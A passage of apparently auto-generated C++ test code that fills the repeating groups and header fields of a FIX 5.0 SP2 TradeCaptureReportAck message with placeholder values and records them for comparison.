set_field(noUnderlyingLegSecurityAltID_1_1_2_2, FIX::UnderlyingLegSecurityAltID{\"STRING_1262413996\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_20);\n        set_field(noUnderlyingLegSecurityAltID_1_1_2_2, FIX::UnderlyingLegSecurityAltIDSource{\"STRING_1830514193\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_20);\n        all_values.push_back(UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_20);\n        all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings....NoUnderlyingLegSecurityAltID\");\n\n        noOfLegUnderlyings_1_1_1.addGroup(noUnderlyingLegSecurityAltID_1_1_2_2);\n      }\n      noLegs_0_1.addGroup(noOfLegUnderlyings_1_1_1);\n    }\n    msg.addGroup(noLegs_0_1);\n  }\n  // TrdRegTimestamps\n  // Group TrdRegTimestamps.NoTrdRegTimestamps\n  {\n    FIX50SP2::TradeCaptureReportAck::NoTrdRegTimestamps noTrdRegTimestamps_0_0;\n    // TrdRegTimestamps.NoTrdRegTimestamps\n    multiset<string> TrdRegTimestamps_NoTrdRegTimestamps_21;\n    set_field(noTrdRegTimestamps_0_0, FIX::DeskOrderHandlingInst{\"MULTIPLESTRINGVALUE_NH\"}, TrdRegTimestamps_NoTrdRegTimestamps_21);\n    set_field(noTrdRegTimestamps_0_0, FIX::DeskType{\"STRING_IS\"}, TrdRegTimestamps_NoTrdRegTimestamps_21);\n    set_field(noTrdRegTimestamps_0_0, FIX::DeskTypeSource{1}, TrdRegTimestamps_NoTrdRegTimestamps_21);\n    set_field(noTrdRegTimestamps_0_0, FIX::TrdRegTimestamp{FIX::UTCTIMESTAMP(17, 12, 28, 5, 9, 2010)}, TrdRegTimestamps_NoTrdRegTimestamps_21);\n    set_field(noTrdRegTimestamps_0_0, FIX::TrdRegTimestampOrigin{\"STRING_241002420\"}, TrdRegTimestamps_NoTrdRegTimestamps_21);\n    set_field(noTrdRegTimestamps_0_0, FIX::TrdRegTimestampType{6}, TrdRegTimestamps_NoTrdRegTimestamps_21);\n    all_values.push_back(TrdRegTimestamps_NoTrdRegTimestamps_21);\n    all_compo_names.insert(\"...NoTrdRegTimestamps\");\n\n    msg.addGroup(noTrdRegTimestamps_0_0);\n  }\n  // TrdRepIndicatorsGrp\n  // Group TrdRepIndicatorsGrp.NoTrdRepIndicators\n  {\n    FIX50SP2::TradeCaptureReportAck::NoTrdRepIndicators noTrdRepIndicators_0_0;\n    // TrdRepIndicatorsGrp.NoTrdRepIndicators\n    multiset<string> TrdRepIndicatorsGrp_NoTrdRepIndicators_2;\n    set_field(noTrdRepIndicators_0_0, FIX::TrdRepIndicator{false}, TrdRepIndicatorsGrp_NoTrdRepIndicators_2);\n    set_field(noTrdRepIndicators_0_0, FIX::TrdRepPartyRole{553092599}, TrdRepIndicatorsGrp_NoTrdRepIndicators_2);\n    all_values.push_back(TrdRepIndicatorsGrp_NoTrdRepIndicators_2);\n    all_compo_names.insert(\"...NoTrdRepIndicators\");\n\n    msg.addGroup(noTrdRepIndicators_0_0);\n  }\n  // UndInstrmtGrp\n  // Group UndInstrmtGrp.NoUnderlyings\n  {\n    FIX50SP2::TradeCaptureReportAck::NoUnderlyings noUnderlyings_0_0;\n    // UndInstrmtGrp.NoUnderlyings\n    // UnderlyingInstrument\n    multiset<string> UnderlyingInstrument_139;\n    set_field(noUnderlyings_0_0, FIX::EncodedUnderlyingIssuer{\"DATA_1245047037\"}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::EncodedUnderlyingIssuerLen{94054545}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::EncodedUnderlyingSecurityDesc{\"DATA_618556855\"}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::EncodedUnderlyingSecurityDescLen{704824272}, UnderlyingInstrument_139);\n    FIX::UnderlyingAdjustedQuantity UnderlyingAdjustedQuantity_139;\n    UnderlyingAdjustedQuantity_139.setString(\"21233390\");\nset_field(noUnderlyings_0_0, UnderlyingAdjustedQuantity_139, UnderlyingInstrument_139);\n    FIX::UnderlyingAllocationPercent UnderlyingAllocationPercent_139;\n    UnderlyingAllocationPercent_139.setString(\"34.080000\");\nset_field(noUnderlyings_0_0, UnderlyingAllocationPercent_139, UnderlyingInstrument_139);\n    FIX::UnderlyingAttachmentPoint UnderlyingAttachmentPoint_139;\n    UnderlyingAttachmentPoint_139.setString(\"98.500000\");\nset_field(noUnderlyings_0_0, UnderlyingAttachmentPoint_139, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCFICode{\"STRING_360876460\"}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCPProgram{\"STRING_526688030\"}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCPRegType{\"STRING_302644778\"}, UnderlyingInstrument_139);\n    FIX::UnderlyingCapValue UnderlyingCapValue_139;\n    UnderlyingCapValue_139.setString(\"9791069\");\nset_field(noUnderlyings_0_0, UnderlyingCapValue_139, UnderlyingInstrument_139);\n    FIX::UnderlyingCashAmount UnderlyingCashAmount_139;\n    UnderlyingCashAmount_139.setString(\"2233537\");\nset_field(noUnderlyings_0_0, UnderlyingCashAmount_139, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCashType{\"STRING_FIXED\"}, UnderlyingInstrument_139);\n    FIX::UnderlyingContractMultiplier UnderlyingContractMultiplier_139;\n    UnderlyingContractMultiplier_139.setString(\"6621375\");\nset_field(noUnderlyings_0_0, UnderlyingContractMultiplier_139, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingContractMultiplierUnit{105616490}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCountryOfIssue{\"COUNTRY_1668036861\"}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCouponPaymentDate{\"LOCALMKTDATE_24867299\"}, UnderlyingInstrument_139);\n    FIX::UnderlyingCouponRate UnderlyingCouponRate_139;\n    UnderlyingCouponRate_139.setString(\"63.370000\");\nset_field(noUnderlyings_0_0, UnderlyingCouponRate_139, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCreditRating{\"STRING_315227055\"}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCurrency{\"JPY\"}, UnderlyingInstrument_139);\n    FIX::UnderlyingCurrentValue UnderlyingCurrentValue_139;\n    UnderlyingCurrentValue_139.setString(\"19811041\");\nset_field(noUnderlyings_0_0, UnderlyingCurrentValue_139, UnderlyingInstrument_139);\n    FIX::UnderlyingDetachmentPoint UnderlyingDetachmentPoint_139;\n    UnderlyingDetachmentPoint_139.setString(\"69.300000\");\nset_field(noUnderlyings_0_0, UnderlyingDetachmentPoint_139, UnderlyingInstrument_139);\n    FIX::UnderlyingDirtyPrice UnderlyingDirtyPrice_139;\n    UnderlyingDirtyPrice_139.setString(\"5393038\");\nset_field(noUnderlyings_0_0, UnderlyingDirtyPrice_139, UnderlyingInstrument_139);\n    FIX::UnderlyingEndPrice UnderlyingEndPrice_139;\n    UnderlyingEndPrice_139.setString(\"16783577\");\nset_field(noUnderlyings_0_0, UnderlyingEndPrice_139, UnderlyingInstrument_139);\n    FIX::UnderlyingEndValue UnderlyingEndValue_139;\n    UnderlyingEndValue_139.setString(\"18692893\");\nset_field(noUnderlyings_0_0, UnderlyingEndValue_139, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingExerciseStyle{1991951412}, UnderlyingInstrument_139);\n    FIX::UnderlyingFXRate UnderlyingFXRate_139;\n    UnderlyingFXRate_139.setString(\"608519\");\nset_field(noUnderlyings_0_0, UnderlyingFXRate_139, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingFXRateCalc{'D'}, UnderlyingInstrument_139);\n    FIX::UnderlyingFactor UnderlyingFactor_139;\n    UnderlyingFactor_139.setString(\"3975603\");\nset_field(noUnderlyings_0_0, UnderlyingFactor_139, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingFlowScheduleType{552449042}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingInstrRegistry{\"STRING_1936343941\"}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingIssueDate{\"LOCALMKTDATE_491614909\"}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingIssuer{\"STRING_1171005898\"}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingLocaleOfIssue{\"STRING_493684565\"}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingMaturityDate{\"LOCALMKTDATE_467470305\"}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingMaturityMonthYear{\"MONTHYEAR_1299439306\"}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingMaturityTime{\"TZTIMEONLY_1569284415\"}, UnderlyingInstrument_139);\n    FIX::UnderlyingNotionalPercentageOutstanding UnderlyingNotionalPercentageOutstanding_139;\n    UnderlyingNotionalPercentageOutstanding_139.setString(\"67.660000\");\nset_field(noUnderlyings_0_0, UnderlyingNotionalPercentageOutstanding_139, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingOptAttribute{'1'}, UnderlyingInstrument_139);\n    FIX::UnderlyingOriginalNotionalPercentageOutstanding UnderlyingOriginalNotionalPercentageOutstanding_139;\n    UnderlyingOriginalNotionalPercentageOutstanding_139.setString(\"91.930000\");\nset_field(noUnderlyings_0_0, UnderlyingOriginalNotionalPercentageOutstanding_139, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingPriceUnitOfMeasure{\"STRING_1807453756\"}, UnderlyingInstrument_139);\n    FIX::UnderlyingPriceUnitOfMeasureQty UnderlyingPriceUnitOfMeasureQty_139;\n    UnderlyingPriceUnitOfMeasureQty_139.setString(\"20494810\");\nset_field(noUnderlyings_0_0, UnderlyingPriceUnitOfMeasureQty_139, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingProduct{1289504319}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingPutOrCall{322107643}, UnderlyingInstrument_139);\n    FIX::UnderlyingPx UnderlyingPx_139;\n    UnderlyingPx_139.setString(\"76138\");\nset_field(noUnderlyings_0_0, UnderlyingPx_139, UnderlyingInstrument_139);\n    FIX::UnderlyingQty UnderlyingQty_139;\n    UnderlyingQty_139.setString(\"8100575\");\nset_field(noUnderlyings_0_0, UnderlyingQty_139, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingRedemptionDate{\"LOCALMKTDATE_346974943\"}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingRepoCollateralSecurityType{\"STRING_1096420224\"}, UnderlyingInstrument_139);\n    FIX::UnderlyingRepurchaseRate UnderlyingRepurchaseRate_139;\n    UnderlyingRepurchaseRate_139.setString(\"45.880000\");\nset_field(noUnderlyings_0_0, UnderlyingRepurchaseRate_139, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingRepurchaseTerm{1463917524}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingRestructuringType{\"STRING_28965998\"}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSecurityDesc{\"STRING_958905103\"}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSecurityExchange{\"EXCHANGE_944720806\"}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSecurityID{\"STRING_568269852\"}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSecurityIDSource{\"STRING_489779234\"}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSecuritySubType{\"STRING_666526508\"}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSecurityType{\"STRING_412737617\"}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSeniority{\"STRING_550631155\"}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSettlMethod{\"STRING_1357823412\"}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSettlementType{5}, UnderlyingInstrument_139);\n    FIX::UnderlyingStartValue UnderlyingStartValue_139;\n    UnderlyingStartValue_139.setString(\"11030801\");\nset_field(noUnderlyings_0_0, UnderlyingStartValue_139, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingStateOrProvinceOfIssue{\"STRING_1146683705\"}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingStrikeCurrency{\"USD\"}, UnderlyingInstrument_139);\n    FIX::UnderlyingStrikePrice UnderlyingStrikePrice_139;\n    UnderlyingStrikePrice_139.setString(\"16403682\");\nset_field(noUnderlyings_0_0, UnderlyingStrikePrice_139, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSymbol{\"STRING_1769383195\"}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSymbolSfx{\"STRING_1426041754\"}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingTimeUnit{\"STRING_1062169038\"}, UnderlyingInstrument_139);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingUnitOfMeasure{\"STRING_450246313\"}, UnderlyingInstrument_139);\n    FIX::UnderlyingUnitOfMeasureQty UnderlyingUnitOfMeasureQty_139;\n    UnderlyingUnitOfMeasureQty_139.setString(\"11046854\");\nset_field(noUnderlyings_0_0, UnderlyingUnitOfMeasureQty_139, UnderlyingInstrument_139);\n    all_values.push_back(UnderlyingInstrument_139);\n    all_compo_names.insert(\"...NoUnderlyings.\");\n\n    // UndSecAltIDGrp\n    // Group UndSecAltIDGrp.NoUnderlyingSecurityAltID\n    {\n      FIX50SP2::TradeCaptureReportAck::NoUnderlyings::NoUnderlyingSecurityAltID noUnderlyingSecurityAltID_0_1_0;\n      // UndSecAltIDGrp.NoUnderlyingSecurityAltID\n      multiset<string> UndSecAltIDGrp_NoUnderlyingSecurityAltID_289;\n      set_field(noUnderlyingSecurityAltID_0_1_0, FIX::UnderlyingSecurityAltID{\"STRING_110216421\"}, UndSecAltIDGrp_NoUnderlyingSecurityAltID_289);\n      set_field(noUnderlyingSecurityAltID_0_1_0, FIX::UnderlyingSecurityAltIDSource{\"STRING_1006682839\"}, UndSecAltIDGrp_NoUnderlyingSecurityAltID_289);\n      all_values.push_back(UndSecAltIDGrp_NoUnderlyingSecurityAltID_289);\n      all_compo_names.insert(\"...NoUnderlyings....NoUnderlyingSecurityAltID\");\n\n      noUnderlyings_0_0.addGroup(noUnderlyingSecurityAltID_0_1_0);\n    }\n    // UnderlyingStipulations\n    // Group UnderlyingStipulations.NoUnderlyingStips\n    {\n      FIX50SP2::TradeCaptureReportAck::NoUnderlyings::NoUnderlyingStips noUnderlyingStips_0_1_0;\n      // UnderlyingStipulations.NoUnderlyingStips\n      multiset<string> UnderlyingStipulations_NoUnderlyingStips_282;\n      set_field(noUnderlyingStips_0_1_0, FIX::UnderlyingStipType{\"STRING_432324064\"}, UnderlyingStipulations_NoUnderlyingStips_282);\n      set_field(noUnderlyingStips_0_1_0, FIX::UnderlyingStipValue{\"STRING_1014296726\"}, UnderlyingStipulations_NoUnderlyingStips_282);\n      all_values.push_back(UnderlyingStipulations_NoUnderlyingStips_282);\n      all_compo_names.insert(\"...NoUnderlyings....NoUnderlyingStips\");\n\n      noUnderlyings_0_0.addGroup(noUnderlyingStips_0_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoUnderlyings::NoUnderlyingStips noUnderlyingStips_0_1_1;\n      // UnderlyingStipulations.NoUnderlyingStips\n      multiset<string> UnderlyingStipulations_NoUnderlyingStips_283;\n      set_field(noUnderlyingStips_0_1_1, FIX::UnderlyingStipType{\"STRING_738692788\"}, UnderlyingStipulations_NoUnderlyingStips_283);\n      set_field(noUnderlyingStips_0_1_1, FIX::UnderlyingStipValue{\"STRING_779299007\"}, UnderlyingStipulations_NoUnderlyingStips_283);\n      all_values.push_back(UnderlyingStipulations_NoUnderlyingStips_283);\n      all_compo_names.insert(\"...NoUnderlyings....NoUnderlyingStips\");\n\n      noUnderlyings_0_0.addGroup(noUnderlyingStips_0_1_1);\n    }\n    // UndlyInstrumentParties\n    // Group UndlyInstrumentParties.NoUndlyInstrumentParties\n    {\n      FIX50SP2::TradeCaptureReportAck::NoUnderlyings::NoUndlyInstrumentParties noUndlyInstrumentParties_0_1_0;\n      // UndlyInstrumentParties.NoUndlyInstrumentParties\n      multiset<string> UndlyInstrumentParties_NoUndlyInstrumentParties_291;\n      set_field(noUndlyInstrumentParties_0_1_0, FIX::UnderlyingInstrumentPartyID{\"STRING_1863977376\"}, UndlyInstrumentParties_NoUndlyInstrumentParties_291);\n      set_field(noUndlyInstrumentParties_0_1_0, FIX::UnderlyingInstrumentPartyIDSource{'9'}, UndlyInstrumentParties_NoUndlyInstrumentParties_291);\n      set_field(noUndlyInstrumentParties_0_1_0, FIX::UnderlyingInstrumentPartyRole{2139682949}, UndlyInstrumentParties_NoUndlyInstrumentParties_291);\n      all_values.push_back(UndlyInstrumentParties_NoUndlyInstrumentParties_291);\n      all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties\");\n\n      // UndlyInstrumentPtysSubGrp\n      // Group UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n      {\n        FIX50SP2::TradeCaptureReportAck::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_0_0_2_0;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_587;\n        set_field(noUndlyInstrumentPartySubIDs_0_0_2_0, FIX::UnderlyingInstrumentPartySubID{\"STRING_1040453689\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_587);\n        set_field(noUndlyInstrumentPartySubIDs_0_0_2_0, FIX::UnderlyingInstrumentPartySubIDType{560469153}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_587);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_587);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_0_1_0.addGroup(noUndlyInstrumentPartySubIDs_0_0_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_0_0_2_1;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_588;\n        set_field(noUndlyInstrumentPartySubIDs_0_0_2_1, FIX::UnderlyingInstrumentPartySubID{\"STRING_1165178065\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_588);\n        set_field(noUndlyInstrumentPartySubIDs_0_0_2_1, FIX::UnderlyingInstrumentPartySubIDType{1706980198}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_588);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_588);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_0_1_0.addGroup(noUndlyInstrumentPartySubIDs_0_0_2_1);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_0_0_2_2;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_589;\n        set_field(noUndlyInstrumentPartySubIDs_0_0_2_2, FIX::UnderlyingInstrumentPartySubID{\"STRING_973206770\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_589);\n        set_field(noUndlyInstrumentPartySubIDs_0_0_2_2, FIX::UnderlyingInstrumentPartySubIDType{1715809221}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_589);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_589);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_0_1_0.addGroup(noUndlyInstrumentPartySubIDs_0_0_2_2);\n      }\n      noUnderlyings_0_0.addGroup(noUndlyInstrumentParties_0_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoUnderlyings::NoUndlyInstrumentParties noUndlyInstrumentParties_0_1_1;\n      // UndlyInstrumentParties.NoUndlyInstrumentParties\n      multiset<string> UndlyInstrumentParties_NoUndlyInstrumentParties_292;\n      set_field(noUndlyInstrumentParties_0_1_1, FIX::UnderlyingInstrumentPartyID{\"STRING_917319962\"}, UndlyInstrumentParties_NoUndlyInstrumentParties_292);\n      set_field(noUndlyInstrumentParties_0_1_1, FIX::UnderlyingInstrumentPartyIDSource{'1'}, UndlyInstrumentParties_NoUndlyInstrumentParties_292);\n      set_field(noUndlyInstrumentParties_0_1_1, FIX::UnderlyingInstrumentPartyRole{671405771}, UndlyInstrumentParties_NoUndlyInstrumentParties_292);\n      all_values.push_back(UndlyInstrumentParties_NoUndlyInstrumentParties_292);\n      all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties\");\n\n      // UndlyInstrumentPtysSubGrp\n      // Group UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n      {\n        FIX50SP2::TradeCaptureReportAck::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_0_1_2_0;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_590;\n        set_field(noUndlyInstrumentPartySubIDs_0_1_2_0, FIX::UnderlyingInstrumentPartySubID{\"STRING_937933992\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_590);\n        set_field(noUndlyInstrumentPartySubIDs_0_1_2_0, FIX::UnderlyingInstrumentPartySubIDType{798008219}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_590);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_590);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_0_1_1.addGroup(noUndlyInstrumentPartySubIDs_0_1_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_0_1_2_1;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_591;\n        set_field(noUndlyInstrumentPartySubIDs_0_1_2_1, FIX::UnderlyingInstrumentPartySubID{\"STRING_1556888290\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_591);\n        set_field(noUndlyInstrumentPartySubIDs_0_1_2_1, FIX::UnderlyingInstrumentPartySubIDType{559833539}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_591);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_591);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_0_1_1.addGroup(noUndlyInstrumentPartySubIDs_0_1_2_1);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_0_1_2_2;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_592;\n        set_field(noUndlyInstrumentPartySubIDs_0_1_2_2, FIX::UnderlyingInstrumentPartySubID{\"STRING_76566325\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_592);\n        set_field(noUndlyInstrumentPartySubIDs_0_1_2_2, FIX::UnderlyingInstrumentPartySubIDType{471573680}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_592);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_592);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_0_1_1.addGroup(noUndlyInstrumentPartySubIDs_0_1_2_2);\n      }\n      noUnderlyings_0_0.addGroup(noUndlyInstrumentParties_0_1_1);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoUnderlyings::NoUndlyInstrumentParties noUndlyInstrumentParties_0_1_2;\n      // UndlyInstrumentParties.NoUndlyInstrumentParties\n      multiset<string> UndlyInstrumentParties_NoUndlyInstrumentParties_293;\n      set_field(noUndlyInstrumentParties_0_1_2, FIX::UnderlyingInstrumentPartyID{\"STRING_1010079852\"}, UndlyInstrumentParties_NoUndlyInstrumentParties_293);\n      set_field(noUndlyInstrumentParties_0_1_2, FIX::UnderlyingInstrumentPartyIDSource{'1'}, UndlyInstrumentParties_NoUndlyInstrumentParties_293);\n      set_field(noUndlyInstrumentParties_0_1_2, FIX::UnderlyingInstrumentPartyRole{1258188264}, UndlyInstrumentParties_NoUndlyInstrumentParties_293);\n      all_values.push_back(UndlyInstrumentParties_NoUndlyInstrumentParties_293);\n      all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties\");\n\n      // UndlyInstrumentPtysSubGrp\n      // Group UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n      {\n        FIX50SP2::TradeCaptureReportAck::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_0_2_2_0;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_593;\n        set_field(noUndlyInstrumentPartySubIDs_0_2_2_0, FIX::UnderlyingInstrumentPartySubID{\"STRING_40450958\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_593);\n        set_field(noUndlyInstrumentPartySubIDs_0_2_2_0, FIX::UnderlyingInstrumentPartySubIDType{1186823519}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_593);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_593);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_0_1_2.addGroup(noUndlyInstrumentPartySubIDs_0_2_2_0);\n      }\n      noUnderlyings_0_0.addGroup(noUndlyInstrumentParties_0_1_2);\n    }\n    msg.addGroup(noUnderlyings_0_0);\n  }\n  // header\n  multiset<string> header_97;\n  set_header_field(msg.getHeader(), FIX::ApplVerID{\"STRING_8\"}, header_97);\n  set_header_field(msg.getHeader(), FIX::BeginString{\"STRING_1054747684\"}, header_97);\n  set_header_field(msg.getHeader(), FIX::BodyLength{1925516307}, header_97);\n  set_header_field(msg.getHeader(), FIX::CstmApplVerID{\"STRING_184435697\"}, header_97);\n  set_header_field(msg.getHeader(), FIX::DeliverToCompID{\"STRING_1017980986\"}, header_97);\n  set_header_field(msg.getHeader(), FIX::DeliverToLocationID{\"STRING_1642010035\"}, header_97);\n  set_header_field(msg.getHeader(), FIX::DeliverToSubID{\"STRING_280168581\"}, header_97);\n  set_header_field(msg.getHeader(), FIX::LastMsgSeqNumProcessed{1010180287}, header_97);\n  set_header_field(msg.getHeader(), FIX::MessageEncoding{\"STRING_SHIFT_JIS\"}, header_97);\n  set_header_field(msg.getHeader(), FIX::MsgSeqNum{1320622270}, header_97);\n  set_header_field(msg.getHeader(), FIX::OnBehalfOfCompID{\"STRING_1570649441\"}, header_97);\n  set_header_field(msg.getHeader(), FIX::OnBehalfOfLocationID{\"STRING_1335103283\"}, header_97);\n  set_header_field(msg.getHeader(), FIX::OnBehalfOfSubID{\"STRING_880118820\"}, header_97);\n  set_header_field(msg.getHeader(), FIX::OrigSendingTime{FIX::UTCTIMESTAMP(0, 3, 26, 23, 4, 2003)}, header_97);\n  set_header_field(msg.getHeader(), FIX::PossDupFlag{true}, header_97);\n  set_header_field(msg.getHeader(), FIX::PossResend{false}, header_97);\n  